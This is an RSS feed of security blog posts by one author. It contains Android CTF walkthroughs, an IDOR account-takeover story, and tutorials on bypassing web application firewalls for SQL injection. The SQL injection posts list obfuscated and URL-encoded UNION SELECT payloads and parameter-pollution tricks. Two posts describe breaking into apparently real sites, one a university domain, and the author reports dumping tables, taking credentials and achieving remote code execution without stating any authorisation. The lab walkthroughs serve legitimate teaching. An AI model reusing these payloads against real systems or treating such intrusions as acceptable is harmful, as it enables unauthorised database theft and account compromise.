<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Amit Dutta on Medium]]></title>
        <description><![CDATA[Stories by Amit Dutta on Medium]]></description>
        <link>https://medium.com/@amitdutta6026?source=rss-4de04f3b1308------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*vEwFeb7lnV1Dv5T53xX2ug.jpeg</url>
            <title>Stories by Amit Dutta on Medium</title>
            <link>https://medium.com/@amitdutta6026?source=rss-4de04f3b1308------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 04:37:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@amitdutta6026/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Subtle IDOR to Full Account Takeover (Including Admin Access)]]></title>
            <link>https://medium.com/@amitdutta6026/from-subtle-idor-to-full-account-takeover-including-admin-access-43b468c5542b?source=rss-4de04f3b1308------2</link>
            <guid isPermaLink="false">https://medium.com/p/43b468c5542b</guid>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Amit Dutta]]></dc:creator>
            <pubDate>Mon, 29 Dec 2025 12:02:08 GMT</pubDate>
            <atom:updated>2026-01-06T07:54:50.903Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Note :</strong>The website name isn’t disclosed, and all user details are blurred in black-and-white images.</p><p><strong>Lets get started……..</strong></p><p>So few days back in an weekend I was having coffee and feeling bored , so I thought to hack something for fun (The website was into my bucket list ) and it turned into the discovery of a subtle yet critical security flaw in a website .</p><p>I registered a new account on the website and started to dig into it and I found nothing interesting into it and it was a quite small web application with limited scope so I thought to create another account to look for broken access control vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cAzUFQ64lGHY6anDYUTf6w.png" /></figure><p>This is the web application. It proudly displays “Secure Login” and “Protected.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*LPUKAGwQGF1pa-3fNmMOZA.gif" /></figure><p>Jokes aside, here’s what I found.</p><p>During the new account registration process, I observed that immediately after signup the application triggers an endpoint such as:<br> <a href="https://redacted/php?intr=SA89209808&amp;msg=4&amp;id=1138020">https://redacted/php?intr=SA8920980&amp;msg=4&amp;id=11380</a>71</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hyf1ZgUifnwbQZk7Rd6-LQ.png" /></figure><p>Now , I changed the <a href="https://redacted/php?intr=SA89209808&amp;msg=4&amp;id=1138020">id=11380</a>71 into <a href="https://redacted/php?intr=SA89209808&amp;msg=4&amp;id=1138020">id=11380</a>72 .</p><p>And <strong>Bingo</strong>, I got another users username and password .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fOuBz2jXmfwHX7SK_uoZww.png" /><figcaption>Extracted credentials of another user</figcaption></figure><p>Now , lets try to login into this account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4QcGDrkrTrVlbWg0edbDPg.png" /></figure><p>And I have successfully logged in into another users account and observe that I can access every private information of another user like <strong>Name, Email , Phone number and even bank details</strong>( I haven’t shown the bank details to maintain privacy).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mBeEaTwHIIok4c1a_ftpag.png" /><figcaption>Got unauthorized access into another users account</figcaption></figure><p>Now , I targeted the Admin and thought to change the id into &quot;id=1&quot; in the same endpoint <a href="https://redacted/php?intr=SA89209808&amp;msg=4&amp;id=1138020">https://redacted/php?intr=SA8920980&amp;msg=4&amp;id=1</a>and I easily got access into Admin’s credentials in a single shot .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oaL2v3LeTQ0lnvk8Aj3dUg.png" /><figcaption>Admin Credentials</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U1OXzrTREY-GGQrw9wC6Mg.png" /><figcaption>Successfully compromised Admin’s account</figcaption></figure><p>That was easy ……………</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*YKMi5otRUr6sNv1U8dsqCA.gif" /></figure><p>Please follow for more security write-ups .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43b468c5542b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Android Apps: Cracking the Code]]></title>
            <link>https://medium.com/@amitdutta6026/hacking-android-apps-cracking-the-code-bcc8243e8573?source=rss-4de04f3b1308------2</link>
            <guid isPermaLink="false">https://medium.com/p/bcc8243e8573</guid>
            <category><![CDATA[source-code]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Amit Dutta]]></dc:creator>
            <pubDate>Fri, 31 Jan 2025 07:29:40 GMT</pubDate>
            <atom:updated>2025-01-31T07:29:40.284Z</atom:updated>
            <content:encoded><![CDATA[<p>In this post, I’ll be diving into the <strong>Injured Android CTF Challenge</strong>, a popular Android app penetration testing playground designed to sharpen your skills in mobile security. Over the course of this walkthrough, I’ll guide you through solving the first six labs (I will publish more articles for the remaining labs later), each of which presents unique challenges around Android vulnerabilities. Whether you’re a seasoned penetration tester or just starting your journey in Android app hacking, this guide will help you understand the thought process and techniques needed to tackle common security flaws in mobile applications.</p><p>For a deeper dive into the techniques , be sure to check out my previous article for detailed instructions and insights!(<a href="https://medium.com/@amitdutta6026/a-deep-dive-into-reverse-engineering-and-hacking-android-apps-through-activity-exploits-content-b6f5861b8db5"><em>A Deep Dive into Reverse-Engineering and Hacking Android Apps through Activity Exploits, Content Provider, and Broadcast Receiver Manipulations</em></a>)It’s a more in-depth guide on penetration testing Android applications, perfect for those looking to tackle advanced techniques!</p><p>Let’s get started!</p><p><strong>Lab Setup:</strong></p><p>To start, install and run the <a href="https://github.com/B3nac/InjuredAndroid/releases"><strong><em>Injured Android</em></strong></a> APK on your device or emulator.</p><p>Now lets open the android application and see how it looks like .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*QEYAax0nrcaVix8JR_qSVQ.png" /><figcaption>Figure # Injured Android application</figcaption></figure><p><strong>LAB 1 — XSSTEXT</strong></p><p><strong>Note</strong>: <em>This lab is straightforward, but the other labs will be more challenging.</em></p><p>Click on the section labeled as “XSSTEXT.” Here, you’ll find an input field it allows you to enter some text, which is then immediately displayed in the app without any noticeable validation.</p><p>&lt;script&gt;alert(1)&lt;/script&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*kRpi9EmMX8gr6oFwVxqFJQ.png" /><figcaption>Figure # XSSTEXT</figcaption></figure><p>Enter this into the input field and submit it. If the app is vulnerable, you should see a pop-up displaying the message “1”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*cxbtlB5VxuQy_G9_fy6SSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*6ggrXNW8LgP2ObPgipxBjQ.gif" /></figure><p>Once the alert box pops up, you’ve confirmed that the application is reflecting user input without proper sanitization or encoding, allowing JavaScript execution. This is a clear case of <strong>Reflected XSS</strong>. So, the first lab is done.</p><p>Lets jump into the next lab!</p><p><strong>FlagOne — Login 1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*6UrlPlk8pPH1_6B2LvQE8Q.png" /><figcaption>Figure # FlagOneLoginActivity</figcaption></figure><p>The <strong>FlagOne</strong> activity seems simple on the surface, but it involves exploring how Android apps handle user data and hidden information. The goal is to find and extract the flag from within the application, which is hidden but accessible through certain vulnerabilities or overlooked details in the app’s structure.</p><p><strong>Decompiling the APK</strong></p><p>Since this is an Android challenge, one of the first things we do is <strong>decompile</strong> the APK. Decompiling allows us to reverse-engineer the application’s code, providing insights into how it functions and how data is handled.</p><p>I used JADX-GUI to decompile the apk.</p><p>Simply , go to the directory where <strong>jadx </strong>is located <strong>(jadx/jadx-gui/build/libs) -&gt; right click -&gt; Open in terminal-&gt; java -jar jadx-gui-dev-all.jar</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*clbcqhLTSMz48Y4gvzvFAQ.png" /></figure><p>Now after starting jadx open the Injured Android.apk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*hBFK7ZSdU-E54oHyqIkNnA.png" /><figcaption>Figure # Jadx-gui</figcaption></figure><p>Now , open the Manifest.xml file and search for Flag0neLoginActivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*pmduzx-saiqJe8nh7QgFkg.png" /><figcaption>Figure # Manifest.xml</figcaption></figure><p>Now open the FlagOneActivity by double clicking it , we can see there is a hardcoded flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*rOZaSvtLS0tlhRTgW2sfCA.png" /></figure><p>If you’re wondering what this code does — don’t worry, I’m here to guide you through it!</p><blockquote>if (d.s.d.g.a(editText.getText().toString(), “F1ag_0n3”)) checks if the text entered in editText(Input field) matches the string “F1ag_0n3” using another utility method. Such validations can be a simple form of access control, ensuring that only users who know the correct string can proceed to the next step. Lets enter the flag .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*9-0b-nWHpNECWH5QZK-wmw.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*Dmbosfnl3P52mVqDjMVFjA.png" /><figcaption>FlagOneActivity</figcaption></figure><p>Yes, we have successfully solved the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*QQ06CILQHIN4iDQpWalkfw.png" /><figcaption>FlagOneActivity</figcaption></figure><p>Now, lets solve the next lab.</p><p><strong>FlagTwo — Exported Activity</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*jk0p42ge3Qqg4rBqKwbYYw.png" /><figcaption>Figure # FlagTwoActivity</figcaption></figure><p>Upon entering the FlagTwo Challenge, we encounter a notification indicating that “There is a way to bypass the main activity and invoke an exported activity”. This highlights a security vulnerability that could allow unauthorized access to certain features of the application.</p><p>To investigate this further, we can begin by examining the AndroidManifest.xml file for any activities marked with android:exported=”true”, which indicates that they can be accessed externally. Before diving into that, however, I searched for the FlagTwo Challenge within the decompiled code and identified the relevant activity of interest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*K3bwlnZqpfyFBC3uoYOW1Q.png" /><figcaption>Figure # FlagTwoActivity</figcaption></figure><p>&lt;activityandroid:name=”b3nac.injuredandroid.b25lActivity”android:exported=”true”/&gt;</p><p>I found that the “.b25lActivity” is exported to true .</p><p>Now, we can invoke this activity using the Android Debug Bridge (ADB) with the following command syntax.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*fB4dYm0sM8X1OIt5KzjLJg.png" /><figcaption>./adb shell am start -n b3nac.injuredandroid/ .b25lActivity</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*9SbIkfrLzKD_iWdykcIDxg.png" /><figcaption>Figrue # FlagTwoActivity</figcaption></figure><p>We have also solved the third lab.</p><p><strong>FlagThree — Resources</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*9WVTvNOcDmjzGh8hltdX8A.png" /><figcaption>Figure # FlagThreeActivity</figcaption></figure><p>To solve this lab, we will need to input the flag again. Let’s examine the source code to see if we can identify any hardcoded strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*YIqkWWQux-4Ozq8UoMxOmQ.png" /></figure><p>Although we couldn’t locate any hardcoded strings, we did find a reference to <strong>R.string.cmVzb3VyY2VzX3lv</strong>. This indicates that our input will be validated against a string defined in strings.xml, suggesting that the application likely uses this resource for comparison purposes.</p><p>we will find the strings.xml in <em>res/values/strings.xml</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*e1y8tIWyRoQ7xvUo6NXz8g.png" /><figcaption>Figure # FlagThreeActivity</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*b_4b155hC1XB-tfeCpifpQ.png" /><figcaption>Figure # FlagThreeActivity</figcaption></figure><p>&lt;string name=”cmVzb3VyY2VzX3lv”&gt;F1ag_thr33&lt;/string&gt;:</p><p>This defines a string resource with the name cmVzb3VyY2VzX3lvthe actual value of this string is F1ag_thr33.</p><p>Lets, enter the flag and see if it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*KzWV8aBLYlmwR8s2LuT6BA.png" /><figcaption>Figure # FlagThreeActivity</figcaption></figure><p>Yes , we solved this lab too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*VeCNVgXbY8cokiDTy6b_HQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*371-c_gEpFMTZkKIhv8O5w.gif" /></figure><p><strong>FlagFour — Login2</strong></p><p>Once again, we are presented with an input form. As usual, let’s examine the decompiled code for insights!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YAxTNWODzrjZDKqZoqp71Q.png" /></figure><p>byte[] a2 = newg().a();</p><p>This line creates a new instance of class g and calls its method a(), which returns a byte array (a2). This array likely contains encoded data or a flag. The second argument is created by converting a2 into a String using a method that takes d.w.c.f2418a as a parameter. This suggests that d.w.c.f2418a is some kind of encoding or configuration that affects how a2 is interpreted. Now lets see by double clicking into the a() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYUYGYZf98RFL19KR1nnhQ.png" /></figure><p>Here , it must be the flag but it is Base64 encoded , Let’s decode it by using burpsuit’s decoder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*R4lpyRfhq3qXAAXghKIGfw.png" /></figure><p>Okay we successfully decoded it , now lets enter it into the input field and see if the lab is solved or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*pbPQBERbf4ZDmBzt8vcTAg.png" /></figure><p>We have also solved this lab too!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*kwnqlbSxIrnvWQzBZ4oIUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*dCPyih_fSyRDglyeMnwAOg.gif" /></figure><p><strong>FlagFive — Exported Broadcast Receiver.</strong></p><p>As always, let’s begin by examining the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*5N-lE7k6wCVx16jippyUyg.png" /><figcaption>&lt;receiver android:name=”b3nac.injuredandroid.FlagFiveReceiver” android:exported=”true”/&gt;</figcaption></figure><p>Here we can find that we got .FlagFiveReceiver exported is set to true.</p><p>Now lets try to invoke this receiver using the Android Debug Bridge (ADB) with the following command syntax.</p><p>adb shell am broadcast -n b3nac.injuredandroid/ .FlagFiveReceiver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e5_XGyM9Uxfa3D8_4Qd-Ng.png" /></figure><p>One first try I could not solve the lab but after broadcasting it three times I was able to exploit the improperly exported broadcast receiver. <br>Happy Hacking!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*hhcuxOio5KNONoCf9epu6w.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bcc8243e8573" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WAF Bypass Techniques: How to Exploit SQL Injection Vulnerabilities Like a Pro]]></title>
            <link>https://medium.com/@amitdutta6026/waf-bypass-techniques-how-to-exploit-sql-injection-vulnerabilities-like-a-pro-59dc6b839208?source=rss-4de04f3b1308------2</link>
            <guid isPermaLink="false">https://medium.com/p/59dc6b839208</guid>
            <category><![CDATA[waf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[waf-bypass]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Amit Dutta]]></dc:creator>
            <pubDate>Sun, 22 Sep 2024 17:48:02 GMT</pubDate>
            <atom:updated>2024-09-22T17:48:02.594Z</atom:updated>
            <content:encoded><![CDATA[<p>In the world of cyber security, understanding vulnerabilities and defenses is crucial for cybersecurity professionals/ethical hackers . Web Application Firewalls (WAFs) serve as a frontline defense against threats like SQL injection. This article delves into SQL injection vulnerabilities and outlines techniques to bypass WAF protections, providing valuable insights for ethical hacking and security assessments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mfgJiXZk1Qmr-Nr4_D9qRA.png" /><figcaption>Blocked by WAF</figcaption></figure><blockquote><strong>Understanding SQL Injection</strong></blockquote><p>SQL injection occurs when an attacker manipulates a web application’s input fields — such as URL parameters — to execute unauthorized SQL queries. One common method is <strong>union-based SQL injection</strong>, where the attacker uses the UNION SQL operator to combine the results of two or more queries. This can lead to unauthorized access to sensitive data, data manipulation, or even complete system compromise.</p><blockquote><strong>WAFs and Their Role :</strong></blockquote><p>Web Application Firewalls are designed to inspect HTTP requests and filter out malicious traffic. They utilize several techniques, including:</p><ul><li>Identifies known attack patterns.</li><li>Monitors for unusual user behavior.</li></ul><p>Okay now lets get into the main topic!</p><p><strong>Note</strong> : We can also use SQL map which is a powerful tool for automating SQL injection attacks, including bypassing WAFs. However, it’s important to note that SQLMap may not always be effective . In such cases, manual techniques may be necessary to craft custom payloads and effectively bypass the security measures.</p><blockquote><strong>Techniques for Bypassing WAFs:</strong></blockquote><h4>Detecting the WAF:</h4><p>There are numerous tools and scripts available that can detect and identify the presence of WAFs on a web application like NMAP, Checking the response headers, Checking Response Body.</p><p>Here we will use NMAP to detect the WAF , just start <strong><em>nmap&gt;select</em></strong> <strong><em>the script</em></strong> and paste the following command it will detect it .</p><pre>nmap -p80 --script http-waf-detect &lt;URL&gt;</pre><p>After completing our analyses, we’ll combine these techniques to develop more sophisticated methods for bypassing WAF protections.</p><p><strong>1. Bypassing WAF Through Origin IP Discovery :</strong></p><p>One effective way to bypass WAF’s protections is by discovering the website’s origin IP address. One method to achieve this is by using <a href="https://search.censys.io/"><strong><em>Censys</em></strong></a>, a powerful search engine for Internet-connected devices. By querying Censys, you can uncover the underlying IP address of a site protected by WAF like Cloudflare, which can help you access the server directly, bypassing Cloudflare’s defenses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JHl4OFvMTs4uPpzPNZAyJw.png" /><figcaption><a href="https://search.censys.io/">Censys</a></figcaption></figure><p>Use the <strong>search bar</strong> to enter queries related to the target website. You can search by domain name once you’ve obtained the IP address, you can access the server directly by effectively bypassing <strong>Cloudflare’s (</strong>WAF’s<strong>)</strong> defenses and interacting with the website without its protective layer.</p><p><strong>2. Bypassing WAFs by URL encoding the SQL Query:</strong></p><p>Encoding SQL payloads involves transforming standard SQL injection strings into formats that can evade WAF detection. By encoding the malicious content, attackers can exploit vulnerabilities without triggering security alerts.</p><p>Some examples of <strong>URL</strong> encoding are:</p><pre>%55nion(%53elect)<br>union%20distinct%20select<br>union%20%64istinctRO%57%20select<br>union%2053elect<br>%23?%0auion%20?%23?%0aselect<br>%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect<br>%55nion %53eLEct<br>u%6eion se%6cect<br>unio%6e %73elect<br>unio%6e%20%64istinc%74%20%73elect<br>uni%6fn distinct%52OW s%65lect<br>%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74</pre><p>Consider a simple SQL injection attempt:</p><p><strong>Example # 1(Blocked)</strong></p><pre>http://www.example.com/page.php?id=90&#39;union select 1,2,3,4,5,6,7,8,9,10</pre><p><strong>Example # 1 (Bypassed by URL encoding)</strong></p><pre>http://www.example.com/page.php?id=.90&#39;unio%6e selec%74 1,2,3,4,5,6,7,8,9,10%</pre><p><strong>Example # 2 (Blocked)</strong></p><pre>http://example.com/page?id=1&#39; OR &#39;1&#39;=&#39;1</pre><p><strong>Example # 2 (Bypassed by URL encoding)</strong></p><pre>http://example.com/page?id=1%27%20OR%20%271%27%3D%271</pre><p><strong>3. Bypassing WAFs by obfuscating the SQL Query:</strong></p><p>SQL query obfuscation involves modifying a standard SQL command to make it less recognizable or understandable while still preserving its functionality. The goal is to evade detection mechanisms, such as WAFs or intrusion detection systems, which rely on recognizing specific patterns associated with SQL injection attacks. By obfuscating queries, attackers can potentially bypass security measures and execute unauthorized commands on the database.</p><p><strong>Example # 1 (Blocked)</strong></p><pre>http://www.example.com/page.php?id=90&#39;union select 1,2,3,4,5,6,7,8,9,10</pre><p><strong>Example # 1 (Bypassed by obfuscating the Query)</strong></p><pre>http://www.example.com/page.php?id=90&#39;UnIoN sElEcT 1,2,3,4,5,6,7,8,9,10</pre><p><strong>Note:</strong> In many instances, I have successfully bypassed WAF protections using the methods outlined below.</p><p><strong>Example # 2 (Blocked)</strong></p><pre>http://www.example.com/page.php?id=90 &#39;union select 1,2,3,4,5,6,7,8,9,10</pre><p><strong>Example # 2 (Bypassed by obfuscating the Query)</strong></p><pre>http://www.example.com/page.php?id=90 ‘/*!UnIon/*trick-comment*/*/ sElect 1,2,3,4,5,6,7,8,9,10 — -.</pre><p>4. <strong>Bypassing WAFs: SQL Injection Through HTTP Parameter Pollution</strong></p><p>HTTP Parameter Pollution occurs when an attacker adds multiple instances of the same parameter in an HTTP request. By this we can bypass input validation , leading to unexpected behavior. By leveraging HPP, attackers can introduce malicious SQL commands that the application may inadvertently execute.</p><p><strong>Example # 1 (Blocked)</strong></p><pre>http://example.com/user?id=12&#39; Union select 1,2,3,4,5,6,7-- -</pre><p><strong>Example # 1 (Bypassed by HTTP parameter pollution)</strong></p><pre>http://example.com/user?id=1&amp;id=1&#39;union select 1,2,3,4,5,6,7-- -</pre><p>In this scenario, the attacker adds a second id parameter containing a UNION SELECT statement. This clever manipulation can catch many developers off guard, especially if they assume that input validation is robust enough to handle such cases. If the application processes this request without proper validation.</p><h3>Stay Updated!</h3><p>For more insightful articles on cybersecurity, web application vulnerabilities, and effective defense strategies, <strong>follow me!</strong></p><p><strong>Explore My Other articles too !- </strong><a href="https://medium.com/@amitdutta6026"><strong><em>Link</em></strong></a></p><p>Connect with me on social media for more insights and discussions!</p><p><strong>Linkedin —</strong><a href="https://linkedin.com/in/amit-dutta72/"><strong><em> </em>https://linkedin.com/in/amit-dutta72/</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59dc6b839208" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Cloudflare’s SQL Injection Filter Without Origin IP Discovery!]]></title>
            <link>https://medium.com/@amitdutta6026/bypassing-cloudflares-sql-injection-filter-without-origin-ip-discovery-2bb8c97bc5db?source=rss-4de04f3b1308------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bb8c97bc5db</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bypass-cloudflare]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[website-hacking]]></category>
            <category><![CDATA[waf-bypass]]></category>
            <dc:creator><![CDATA[Amit Dutta]]></dc:creator>
            <pubDate>Mon, 15 Apr 2024 09:10:55 GMT</pubDate>
            <atom:updated>2024-04-15T09:10:55.800Z</atom:updated>
            <content:encoded><![CDATA[<p>In this project, my initial approach involved attempting to bypass the WAF (Cloudflare) by uncovering the origin IP of the website. When that proved unsuccessful, I delved deeper into researching WAF bypass techniques and found an solution.</p><p>As the particular “www.XYZ.ac.in” website is vulnerable to SQL injection , I proceeded with conducting an SQL injection attack .</p><p>The “XYZ.ac.in” website has 6 numbers of columns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U7SKDpkvjv0cDlSAsA5QZA.png" /></figure><p>While attempting to use a UNION SELECT statement, I found it was being blocked by <strong>Cloudflare</strong>.</p><p>So, I aimed to bypass Cloudflare by discovering the website’s origin IP. To achieve this, I used <a href="https://search.censys.io/"><strong><em>Censys</em></strong></a><strong><em> </em></strong>for IP discovery<strong><em> .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5cClrZB5QFm7b17JasjMGA.png" /></figure><p>As you can see I didn’t got the Origin IP of the website .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*HvU8XdpBD4TqdaS_XNqfqQ.gif" /></figure><p>I attempted a trick to bypass it by typing the “union select” statement with a mix of uppercase and lowercase letters such as “UnIoN sElect”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qNTePJcw1dgkWTPz7tQsRA.png" /></figure><p>But It didn’t worked either .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/236/1*p2XpTeTh-Ptiex1T2r5Vog.gif" /></figure><p>Let’s dive deeper into the challenge and attempt a trick to bypass Cloudflare’s security.</p><p>After spending some time I found a way to bypass it by adding <strong>‘/*!UnIon/*<em>trick-comment</em>*/*/ sElect 1,2,3,4,5,6 — -</strong>.</p><p>*<strong>Note</strong> —Might seem similar to bypassing MOD security, but it is distinct .</p><p>The technique used here is known as obfuscation, where the statement is crafted in such a way as to avoid common filtering patterns while still being executed by the underlying database.</p><p>Lets give it a try .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8usq4mxia9bPXjwjWJDZzQ.png" /><figcaption><strong>‘/*!UnIon/*Amitthenoob*/*/ sElect 1,2,3,4,5,6 — -</strong>.</figcaption></figure><p>Yeah, The status code 200 OK indicates that I have successfully bypassed Cloudflare’s SQL injection filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*FE_pKkhR4A9T-0BPtILQSA.gif" /></figure><p>Now, let’s proceed with our SQL injection attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kE5KPsgaqkroCz91g5TYgg.png" /><figcaption><strong>‘/*!Union/*AmitTheNoob*/*/ select 1,2,3,table_name,5,6 from information_schema.tables where table_schema=database().</strong></figcaption></figure><p>I am able to successfully extract tables from the database using the SQL injection attack.</p><p>While I could have chosen to retrieve tables and columns one by one (<em>a topic I plan to cover in a future article</em>), my focus here is on discussing the Cloudflare bypass, so I’ll avoid delving into excessive detail. Instead, I will utilize the<strong> DIOS (Dump in One Shot)</strong> method, which I learned from <a href="https://securityidiots.com/">SecurityIdiots.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qYoq_6epohUUjY1sJ2AfGQ.png" /></figure><p>It appears that I need to obfuscate the DIOS (Dump in One Shot) method as well. By doing so, I can hide its true nature and make it harder for security systems like Cloudflare to detect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Th8VTycmNlaguM_HH0SRIA.gif" /><figcaption><strong>DUMP IN ONE SHOT JUTSU</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HLsclB_M6oKr-Fd8fMqpCQ.png" /></figure><p>I have successfully retrieved all the table names and column names in one go.</p><p>I retrieved the credentials and executed remote code through file upload. Since this article focuses on bypassing Cloudflare, I chose not to delve into these additional topics to keep the article concise.</p><p>Follow me for more articles .</p><p>Linked in —<a href="https://www.linkedin.com/in/amit-dutta72"> https://www.linkedin.com/in/amit-dutta72</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bb8c97bc5db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Deep Dive into Reverse-Engineering and Hacking Android Apps through Activity Exploits, Content…]]></title>
            <link>https://medium.com/@amitdutta6026/a-deep-dive-into-reverse-engineering-and-hacking-android-apps-through-activity-exploits-content-b6f5861b8db5?source=rss-4de04f3b1308------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6f5861b8db5</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android-application]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Amit Dutta]]></dc:creator>
            <pubDate>Thu, 29 Feb 2024 10:14:18 GMT</pubDate>
            <atom:updated>2024-11-16T12:50:02.440Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Deep Dive into Reverse-Engineering and Hacking Android Apps through Activity Exploits, Content Provider, and Broadcast Receiver Manipulations.</h3><p>Amit the Hacker, an Ethical Hacker from Bongaigaon, Assam, India, specializes in web application and Android application security. With a focus on identifying vulnerabilities and strengthening digital defenses. With a passion for unraveling the intricacies of digital systems, I find myself immersed in the fascinating world of ethical hacking. As an adept explorer of vulnerabilities, my expertise lies in dissecting the security measures safeguarding web and Android applications.</p><p>This might be long but you will get a proper knowledge about reverse engineering and pentesting an <strong>android application</strong> because I have discussed each and every necessary topics and with proper definition .</p><p><strong>Intro about the android application I am going to hack .</strong></p><p>The name of the application is <strong>Insecure Bank</strong> . This app is a vulnerable Android application for developers and security enthusiasts to learn about Android insecurities. You can download it from the link below</p><p><a href="https://github.com/dineshshetty/Android-InsecureBankv2">GitHub - dineshshetty/Android-InsecureBankv2: Vulnerable Android application for developers and security enthusiasts to learn about Android 